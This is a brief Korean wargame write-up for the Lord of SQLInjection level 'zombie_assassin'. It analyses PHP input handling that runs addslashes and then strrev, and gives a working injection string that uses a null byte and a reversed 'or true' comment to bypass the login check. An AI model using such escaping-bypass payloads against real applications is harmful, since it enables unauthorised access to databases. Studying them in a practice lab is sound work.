> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-zombie_assassin.md).
# \[Lord Of SQLInjection] zombie\_assassin
#### 코드 분석
```
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
```
* strrev = 문자열을 거꾸로 반환하는 함수
* addslashes = 싱글쿼터나 더블쿼터, NULL(%00)의 앞에 특수문자를 문자열로 만들어주는 \를 넣어서 문자열로 만듦
⇒ strrev(addslashes) = 특수문자가 문자열 처리 된 후에 순서가 뒤집힘
→ 입력값이 거꾸로 반전되는 것까지 고려해야하는 문제
#### 풀이
null 문자를 넣어서 문제를 해결하되 입력값이 거꾸로 삽입되는 점을 이용해서 처음부터 역순으로 넣어준다.
```
?id=%00&&pw=%23 eurt ro
```
---
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